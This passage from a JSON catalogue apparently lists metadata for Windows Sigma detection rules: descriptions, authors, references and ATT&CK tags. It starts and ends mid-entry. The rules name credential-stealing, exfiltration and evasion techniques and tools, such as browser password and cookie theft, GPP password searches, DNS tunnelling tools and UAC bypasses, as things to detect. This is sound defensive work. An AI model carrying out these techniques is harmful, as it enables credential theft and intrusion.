target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_copy_browser_data.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copy_browser_data.yml" ], "tags": [ "attack.credential_access", "attack.t1555.003" ] }, "related": [ { "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "47147b5b-9e17-4d76-b8d2-7bac24c5ce1b", "value": "Potential Browser Data Stealing" }, { "description": "Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.", "meta": { "author": "Janantha Marasinghe", "creation_date": "2020/09/26", "falsepositive": [ "This may have false positives on hosts where Virtualbox is legitimately being used for operations" ], "filename": "proc_creation_win_run_virtualbox.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_virtualbox.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.006", "attack.t1564" ] }, "related": [ { "dest-uuid": "b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bab049ca-7471-4828-9024-38279a4c04da", "value": "Detect Virtualbox Driver Installation OR Starting Of VMs" }, { "description": "Detects suspicious renamed SysInternals DebugView execution", "meta": { "author": "Florian Roth", "creation_date": "2020/05/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_renamed_debugview.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.epicturla.com/blog/sysinturla", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_debugview.yml" ], "tags": [ "attack.resource_development", "attack.t1588.002" ] }, "related": [ { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd764533-2e07-40d6-a718-cfeec7f2da7f", "value": "Renamed SysInternals Debug View" }, { "description": "Detects suspicious mshta process patterns", "meta": { "author": "Florian Roth", "creation_date": "2021/07/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_mshta_pattern.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.echotrail.io/insights/search/mshta.exe", "https://en.wikipedia.org/wiki/HTML_Application", "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_pattern.yml" ], "tags": [ "attack.execution", "attack.t1106" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e32f92d1-523e-49c3-9374-bdb13b46a3ba", "value": "Suspicious MSHTA Process Patterns" }, { "description": "Detects usage of COM objects that can be abused to download files in PowerShell by CLSID", "meta": { "author": "frack113", "creation_date": "2022/12/25", "falsepositive": [ "Legitimate use of the library" ], "filename": "proc_creation_win_ps_download_com_cradles.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/dotnet/api/system.type.gettypefromclsid?view=net-7.0", "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ps_download_com_cradles.yml" ], "tags": "No established tags" }, "uuid": "02b64f1b-3f33-4e67-aede-ef3b0a5a8fcf", "value": "Potential COM Objects Download Cradles Usage - Process Creation" }, { "description": "Detects the use of 3proxy, a tiny free proxy server", "meta": { "author": "Florian Roth", "creation_date": "2022/09/13", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_3proxy_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/3proxy/3proxy", "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_3proxy_usage.yml" ], "tags": [ "attack.command_and_control", "attack.t1572" ] }, "related": [ { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f38a82d2-fba3-4781-b549-525efbec8506", "value": "3Proxy Usage" }, { "description": "Detects a suspicious curl process start the adds a file to a web request", "meta": { "author": "Florian Roth", "creation_date": "2020/07/03", "falsepositive": [ "Scripts created by developers and admins" ], "filename": "proc_creation_win_susp_curl_fileupload.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", "https://twitter.com/d1r4c/status/1279042657508081664", "https://curl.se/docs/manpage.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_fileupload.yml" ], "tags": [ "attack.exfiltration", "attack.t1567", "attack.t1105" ] }, "related": [ { "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "00bca14a-df4e-4649-9054-3f2aa676bc04", "value": "Suspicious Curl File Upload" }, { "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_ieinstal.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "80fc36aa-945e-4181-89f2-2f907ab6775d", "value": "UAC Bypass Using IEInstal - Process" }, { "description": "ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.", "meta": { "author": "frack113", "creation_date": "2021/11/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_zipexec.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/Tylous/ZipExec", "https://twitter.com/SBousseaden/status/1451237393017839616", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zipexec.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1218", "attack.t1202" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "90dcf730-1b71-4ae7-9ffc-6fcf62bd0132", "value": "Suspicious ZipExec Execution" }, { "description": "Well-known DNS Exfiltration tools execution", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate usage of iodine or dnscat2 — DNS Exfiltration tools (unlikely)" ], "filename": "proc_creation_win_dns_exfiltration_tools_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.001", "attack.command_and_control", "attack.t1071.004", "attack.t1132.001" ] }, "related": [ { "dest-uuid": "79a4052e-1a89-4b09-aea6-51f1d11fe19c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "98a96a5a-64a0-4c42-92c5-489da3866cb0", "value": "DNS Exfiltration and Tunneling Tools Execution" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", "creation_date": "2022/02/13", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_gotoopener.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gotoopener.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b6d98a4f-cef0-4abf-bbf6-24132854a83d", "value": "Use of GoToAssist Remote Access Software" }, { "description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.", "meta": { "author": "frack113", "creation_date": "2021/12/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_findstr_gpp_passwords.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords.yml" ], "tags": [ "attack.credential_access", "attack.t1552.006" ] }, "related": [ { "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "91a2c315-9ee6-4052-a853-6f6a8238f90d", "value": "Findstr GPP Passwords" }, { "description": "Detects encoded base64 MZ header in the commandline", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/12", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_inline_base64_mz_header.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_base64_mz_header.yml" ], "tags": [ "attack.execution" ] }, "uuid": "22e58743-4ac8-4a9f-bf19-00a0428d8c5f", "value": "Base64 MZ Header In CommandLine" }, { "description": "Detects execution of REGSVR32.exe with DLL masquerading as image files", "meta": { "author": "frack113", "creation_date": "2021/11/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_regsvr32_image.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://guides.lib.umich.edu/c.php?g=282942&p=1885348", "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_image.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.010" ] }, "related": [ { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "089fc3d2-71e8-4763-a8a5-c97fbb0a403e", "value": "Suspicious Regsvr32 Execution With Image Extension" }, { "description": "Detects an attempt to execute code or create service on remote host via winrm.vbs.", "meta": { "author": "Julia Fomina, oscd.community", "creation_date": "2020/10/07", "falsepositive": [ "Legitimate use for administartive purposes. Unlikely" ], "filename": "proc_creation_win_susp_winrm_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/bohops/status/994405551751815170", "https://redcanary.com/blog/lateral-movement-winrm-wmi/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9df0dd3a-1a5c-47e3-a2bc-30ed177646a0", "value": "Remote Code Execute via Winrm.vbs" }, { "description": "Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc).\nMight be used by ransomwares during the attack (seen by NotPetya and others).\n", "meta": { "author": "Ecco, E.M. Anhaus, oscd.community", "creation_date": "2019/09/26", "falsepositive": [ "Admin activity", "Scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_fsutil_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md", "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_fsutil_usage.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070" ] }, "uuid": "add64136-62e5-48ea-807e-88638d02df1e", "value": "Fsutil Suspicious Invocation" }, { "description": "Detects a suspicious copy command to or from an Admin share or remote", "meta": { "author": "Florian Roth, oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Nasreddine Bencherchali", "creation_date": "2019/12/30", "falsepositive": [ "Administrative scripts" ], "filename": "proc_creation_win_susp_copy_lateral_movement.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1211636381086339073", "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html", "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml" ], "tags": [ "attack.lateral_movement", "attack.collection", "attack.exfiltration", "attack.t1039", "attack.t1048", "attack.t1021.002" ] }, "related": [ { "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "855bc8b5-2ae8-402e-a9ed-b889e6df1900", "value": "Copy from Admin Share" }, { "description": "Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface", "meta": { "author": "Florian Roth", "creation_date": "2022/09/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_icmluautil.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "49f2f17b-b4c8-4172-a68b-d5bf95d05130", "value": "UAC Bypass via ICMLuaUtil" }, { "description": "Detects the use of SharpEvtHook, a tool to tamper with Windows event logs", "meta": { "author": "Florian Roth", "creation_date": "2022/09/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sysmon_disable_sharpevtmute.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/bats3c/EvtMute", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_disable_sharpevtmute.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bedfc8ad-d1c7-4e37-a20e-e2b0dbee759c", "value": "SharpEvtMute EvtMuteHook Load" }, { "description": "Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively", "meta": { "author": "Sai Prashanth Pulisetti @pulisettis", "creation_date": "2022/12/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_impersonate_tool.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/", "https://github.com/sensepost/impersonate", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impersonate_tool.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1134.001", "attack.t1134.003" ] }, "related": [ { "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "8cdeb020-e31e-4f88-a582-f53dcfbda819", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cf0c254b-22f1-4b2b-8221-e137b3c0af94", "value": "Impersonate Execution" }, { "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/17", "falsepositive": [ "Rare intended use of hidden services" ], "filename": "proc_creation_win_using_set_service_to_hide_services.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_set_service_to_hide_services.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1574.011" ] }, "uuid": "514e4c3a-c77d-4cde-a00f-046425e2301e", "value": "Abuse of Service Permissions to Hide Services Via Set-Service" }, { "description": "This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed,\nUsee to Query/modify DNS records for Active Directory integrated DNS via LDAP\n", "meta": { "author": "frack113", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_adidnsdump.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adidnsdump.yml" ], "tags": [ "attack.discovery", "attack.t1018" ] }, "uuid": "26d3f0a2-f514-4a3f-a8a7-e7e48a8d9160", "value": "Suspicious Execution of Adidnsdump" }, { "description": "Detects the use of the Dinject PowerShell cradle based on the specific flags", "meta": { "author": "Florian Roth", "creation_date": "2021/12/07", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_dinjector.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/snovvcrash/DInjector", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dinjector.yml" ], "tags": [ "attack.defense_evasion", "attack.t1055" ] }, "uuid": "d78b5d61-187d-44b6-bf02-93486a80de5a", "value": "DInject PowerShell Cradle CommandLine Flags" }, { "description": "HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications.HxTsr.exe is part of Outlook apps, because it resides in a hidden \"WindowsApps\" subfolder of \"C:\\Program Files\". Its path includes a version number, e.g., \"C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\\HxTsr.exe\". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe", "meta": { "author": "Sreeman", "creation_date": "2020/04/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_detecting_fake_instances_of_hxtsr.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_detecting_fake_instances_of_hxtsr.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036" ] }, "uuid": "4e762605-34a8-406d-b72e-c1a089313320", "value": "Detecting Fake Instances Of Hxtsr.exe" }, { "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2022/08/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_ntfs_short_name_use_image.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", "https://twitter.com/jonasLyk/status/1555914501802921984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_image.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3ef5605c-9eb9-47b0-9a71-b727e6aa5c3b", "value": "Use NTFS Short Name in Image" }, { "description": "Detects the execution of a renamed PowerShell often used by attackers or malware", "meta": { "author": "Florian Roth, frack113", "creation_date": "2019/08/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_powershell.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/christophetd/status/1164506034720952320", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_powershell.yml" ], "tags": [ "car.2013-05-009", "attack.defense_evasion", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d178a2d7-129a-4ba4-8ee6-d6e1fecd5d20", "value": "Renamed PowerShell" }, { "description": "Detect use of sqlite binary to query the Firefox cookies.sqlite database and steal the cookie data contained within it", "meta": { "author": "frack113", "creation_date": "2022/04/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sqlite_firefox_cookies.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_cookies.yml" ], "tags": [ "attack.credential_access", "attack.t1539" ] }, "related": [ { "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4833155a-4053-4c9c-a997-777fcea0baa7", "value": "SQLite Firefox Cookie DB Access" }, { "description": "Detects the attempt to evade or obfuscate the executed command on the CommandLine using bogus path traversal", "meta": { "author": "Christian Burkard", "creation_date": "2021/10/26", "falsepositive": [ "Google Drive", "Citrix" ], "filename": "proc_creation_win_commandline_path_traversal_evasion.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/hexacorn/status/1448037865435320323", "https://twitter.com/Gal_B1t/status/1062971006078345217", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal_evasion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036" ] }, "uuid": "1327381e-6ab0-4f38-b583-4c1b8346a56b", "value": "Command Line Path Traversal Evasion" }, { "description": "Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.", "meta": { "author": "Teymur Kheirkhabarov, Florian Roth", "creation_date": "2019/10/23", "falsepositive": [ "Possible name overlap with NT AUHTORITY substring to cover all languages" ], "filename": "proc_creation_win_whoami_as_system.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_system.yml" ], "tags": [ "attack.privilege_escalation", "attack.discovery", "attack.t1033" ] }, "uuid": "80167ada-7a12-41ed-b8e9-aa47195c66a1", "value": "Run Whoami as SYSTEM" }, { "description": "Detects actions that clear the local ShimCache and remove forensic evidence", "meta": { "author": "Florian Roth", "creation_date": "2021/02/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_shimcache_flush.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://medium.com/@blueteamops/shimcache-flush-89daff28d15e", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shimcache_flush.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "b0524451-19af-4efa-a46f-562a977f792e", "value": "ShimCache Flush" }, { "description": "Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.", "meta": { "author": "frack113", "creation_date": "2021/07/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_infdefaultinstall.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution", "https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ce7cf472-6fcc-490a-9481-3786840b5d9b", "value": "InfDefaultInstall.exe .inf Execution" }, { "description": "Detects Cobalt Strike module/commands accidentally entered in CMD shell", "meta": { "author": "_pete_0, TheDFIRReport", "creation_date": "2022/05/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_cobaltstrike_bloopers_modules.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_modules.yml" ], "tags": [ "attack.execution", "attack.t1059.003" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4f154fb6-27d1-4813-a759-78b93e0b9c48", "value": "Operator Bloopers Cobalt Strike Modules" }, { "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/14", 